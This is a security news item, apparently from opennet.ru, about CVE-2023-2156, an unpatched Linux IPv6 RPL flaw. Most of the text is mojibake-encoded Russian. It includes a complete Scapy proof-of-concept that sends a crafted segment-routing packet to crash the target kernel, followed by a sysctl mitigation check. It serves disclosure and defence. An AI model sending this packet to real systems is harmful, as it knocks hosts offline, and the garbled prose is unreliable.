0-day Linux IPv6 stack vulnerability that allow remote kernel crash

ะ ะฐัะบั€ั‹ั‚ั‹ ัะฒะตะดะตะฝะธั ะพ ะฝะตะธัะฟั€ะฐะฒะปะตะฝะฝะพะน (0-day) ัƒัะทะฒะธะผะพัั‚ะธ (CVE-2023-2156) ะฒ ัะดั€ะต Linux, ะฟะพะทะฒะพะปััŽั‰ะตะน ะพัั‚ะฐะฝะพะฒะธั‚ัŒ ั€ะฐะฑะพั‚ัƒ ัะธัั‚ะตะผั‹ ั‡ะตั€ะตะท ะพั‚ะฟั€ะฐะฒะบัƒ ัะฟะตั†ะธะฐะปัŒะฝะพ ะพั„ะพั€ะผะปะตะฝะฝั‹ั… ะฟะฐะบะตั‚ะพะฒ IPv6 (packet-of-death). ะŸั€ะพะฑะปะตะผะฐ ะฟั€ะพัะฒะปัะตั‚ัั ั‚ะพะปัŒะบะพ ะฟั€ะธ ะฒะบะปัŽั‡ะตะฝะธะธ ะฟะพะดะดะตั€ะถะบะธ ะฟั€ะพั‚ะพะบะพะปะฐ RPL (Routing Protocol for Low-Power and Lossy Networks), ะบะพั‚ะพั€ั‹ะน ะฒ ะดะธัั‚ั€ะธะฑัƒั‚ะธะฒะฐั… ะฟะพ ัƒะผะพะปั‡ะฐะฝะธัŽ ะพั‚ะบะปัŽั‡ั‘ะฝ ะธ ะฟั€ะธะผะตะฝัะตั‚ัั, ะณะปะฐะฒะฝั‹ะผ ะพะฑั€ะฐะทะพะผ, ะฝะฐ ะฒัั‚ั€ะฐะธะฒะฐะตะผั‹ั… ัƒัั‚ั€ะพะนัั‚ะฒะฐั…, ั€ะฐะฑะพั‚ะฐัŽั‰ะธั… ะฒ ะฑะตัะฟั€ะพะฒะพะดะฝั‹ั… ัะตั‚ัั… ั ะฑะพะปัŒัˆะพะน ะฟะพั‚ะตั€ะตะน ะฟะฐะบะตั‚ะพะฒ.

ะฃัะทะฒะธะผะพัั‚ัŒ ะฒั‹ะทะฒะฐะฝะฐ ะฝะตะบะพั€ั€ะตะบั‚ะฝะพะน ะพะฑั€ะฐะฑะพั‚ะบะพะน ะฒะฝะตัˆะฝะธั… ะดะฐะฝะฝั‹ั… ะฒ ะบะพะดะต ั€ะฐะทะฑะพั€ะฐ ะฟั€ะพั‚ะพะบะพะปะฐ RPL, ะบะพั‚ะพั€ะฐั ะฟั€ะธะฒะพะดะธั‚ ะบ ัั€ะฐะฑะฐั‚ั‹ะฒะฐะฝะธัŽ assert-ัะฑะพั ะธ ะฟะตั€ะตั…ะพะดัƒ ัะดั€ะฐ ะฒ ัะพัั‚ะพัะฝะธะต panic. ะŸั€ะธ ั€ะฐะทะผะตั‰ะตะฝะธะธ ะฒ ัั‚ั€ัƒะบั‚ัƒั€ะต k_buff (Socket Buffer) ะดะฐะฝะฝั‹ั…, ะฟะพะปัƒั‡ะตะฝะฝั‹ั… ะฒ ั€ะตะทัƒะปัŒั‚ะฐั‚ะต ั€ะฐะทะฑะพั€ะฐ ะทะฐะณะพะปะพะฒะบะฐ ะฟะฐะบะตั‚ะฐ IPv6 RPL, ะตัะปะธ ะฟะพะปะต CmprI ะฒั‹ัั‚ะฐะฒะปะตะฝะพ ะฒ ะทะฝะฐั‡ะตะฝะธะต 15, ะฟะพะปะต Segleft ะฒ 1, ะฐ CmprE ะฒ 0, 48-ะฑะฐะนั‚ะฝั‹ะน ะฒะตะบั‚ะพั€ ั ะฐะดั€ะตัะฐะผะธ ั€ะฐัะฟะฐะบะพะฒั‹ะฒะฐะตั‚ัั ะดะพ 528 ะฑะฐะนั‚ ะธ ะฒะพะทะฝะธะบะฐะตั‚ ัะธั‚ัƒะฐั†ะธั, ะบะพะณะดะฐ ะฒั‹ะดะตะปะตะฝะฝะพะน ะดะปั ะฑัƒั„ะตั€ะฐ ะฟะฐะผัั‚ะธ ะพะบะฐะทั‹ะฒะฐะตั‚ัั ะฝะตะดะพัั‚ะฐั‚ะพั‡ะฝะพ. ะ’ ัั‚ะพะผ ัะปัƒั‡ะฐะต ะฒ ั„ัƒะฝะบั†ะธะธ skb_push, ะฟั€ะธะผะตะฝัะตะผะพะน ะดะปั ะฟะพะผะตั‰ะตะฝะธั ะดะฐะฝะฝั‹ั… ะฒ ัั‚ั€ัƒะบั‚ัƒั€ัƒ, ัั€ะฐะฑะฐั‚ั‹ะฒะฐะตั‚ ะฟั€ะพะฒะตั€ะบะฐ ะฝะฐ ะฝะตัะพั€ะฐะทะผะตั€ะฝะพัั‚ัŒ ั€ะฐะทะผะตั€ะฐ ะดะฐะฝะฝั‹ั… ะธ ะฑัƒั„ะตั€ะฐ, ะณะตะฝะตั€ะธั€ัƒัŽั‰ะฐั ัะพัั‚ะพัะฝะธะต panic, ั‡ั‚ะพะฑั‹ ะฟั€ะตะดะพั‚ะฒั€ะฐั‚ะธั‚ัŒ ะทะฐะฟะธััŒ ะทะฐ ะณั€ะฐะฝะธั†ัƒ ะฑัƒั„ะตั€ะฐ.

ะŸั€ะธะผะตั€ ัะบัะฟะปะพะธั‚ะฐ: # Weโ€™ll use Scapy to craft the packet from scapy.all import * import socket # Use the IPv6 from your LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We use sockets to send the packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 makes this an RPL packet # Addresses contains 3 addresses, but because CmprI is 15, # each octet of the first two addresses is treated as a compressed address # Segleft = 1 to trigger the amplification # lastentry = 0xf0 sets CmprI to 15 and CmprE to 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[ยซa8::ยป, ยซa7::ยป, ยซa6::ยป], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0))

ะŸั€ะธะผะตั‡ะฐั‚ะตะปัŒะฝะพ, ั‡ั‚ะพ ั€ะฐะทั€ะฐะฑะพั‚ั‡ะธะบะธ ัะดั€ะฐ ะฑั‹ะปะธ ัƒะฒะตะดะพะผะปะตะฝั‹ ะพะฑ ัƒัะทะฒะธะผะพัั‚ะธ ะตั‰ั‘ ะฒ ัะฝะฒะฐั€ะต 2022 ะณะพะดะฐ ะธ ะทะฐ ะฟั€ะพัˆะตะดัˆะธะต 15 ะผะตััั†ะตะฒ ั‚ั€ะธ ั€ะฐะทะฐ ะฟะพะฟั‹ั‚ะฐะปะธััŒ ัƒัั‚ั€ะฐะฝะธั‚ัŒ ะฟั€ะพะฑะปะตะผัƒ, ะฒั‹ะฟัƒัั‚ะธะฒ ะฟะฐั‚ั‡ะธ ะฒ ัะตะฝั‚ัะฑั€ะต 2022 , ะพะบั‚ัะฑั€ะต 2022 ะธ ะฐะฟั€ะตะปะต 2023 ะณะพะดะฐ, ะฝะพ ะบะฐะถะดั‹ะน ั€ะฐะท ะธัะฟั€ะฐะฒะปะตะฝะธะน ะพะบะฐะทั‹ะฒะฐะปะพััŒ ะฝะตะดะพัั‚ะฐั‚ะพั‡ะฝะพ ะธ ัƒัะทะฒะธะผะพัั‚ัŒ ัƒะดะฐะฒะฐะปะพััŒ ะฒะพัะฟั€ะพะธะทะฒะตัั‚ะธ. ะ’ ะบะพะฝะตั‡ะฝะพะผ ัั‡ั‘ั‚ะต ะฟั€ะพะตะบั‚ ZDI, ะบะพะพั€ะดะธะฝะธั€ะพะฒะฐะฒัˆะธะน ั€ะฐะฑะพั‚ัƒ ะฟะพ ัƒัั‚ั€ะฐะฝะตะฝะธัŽ ัƒัะทะฒะธะผะพัั‚ะธ, ะฟั€ะธะฝัะป ั€ะตัˆะตะฝะธะต ั€ะฐัะบั€ั‹ั‚ัŒ ะดะตั‚ะฐะปัŒะฝัƒัŽ ะธะฝั„ะพั€ะผะฐั†ะธัŽ ะพะฑ ัƒัะทะฒะธะผะพัั‚ะธ, ะฝะต ะดะพะถะธะดะฐัััŒ ะฟะพัะฒะปะตะฝะธั ั€ะฐะฑะพั‚ะฐัŽั‰ะตะณะพ ะธัะฟั€ะฐะฒะปะตะฝะธั ะฒ ัะดั€ะต.

ะขะฐะบะธะผ ะพะฑั€ะฐะทะพะผ ัƒัะทะฒะธะผะพัั‚ัŒ ะดะพ ัะธั… ะฟะพั€ ะพัั‚ะฐั‘ั‚ัั ะฝะตะธัะฟั€ะฐะฒะปะตะฝะฝะพะน. ะ’ ั‚ะพะผ ั‡ะธัะปะต ะฝะต ัั„ั„ะตะบั‚ะธะฒะตะฝ ะฟะฐั‚ั‡, ะฒะพัˆะตะดัˆะธะน ะฒ ัะดั€ะพ 6.4-rc2. ะŸะพะปัŒะทะพะฒะฐั‚ะตะปัะผ ั€ะตะบะพะผะตะฝะดัƒะตั‚ัั ะฟั€ะพะฒะตั€ะธั‚ัŒ, ั‡ั‚ะพ ะฟั€ะพั‚ะพะบะพะป RPL ะฒ ะธั… ัะธัั‚ะตะผะฐั… ะฝะต ะธัะฟะพะปัŒะทัƒะตั‚ัั, ั‡ั‚ะพ ะผะพะถะฝะพ ัะดะตะปะฐั‚ัŒ ะฟั€ะธ ะฟะพะผะพั‰ะธ ะบะพะผะฐะฝะดั‹ sysctl -a | grep -i rpl_seg_enabled

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™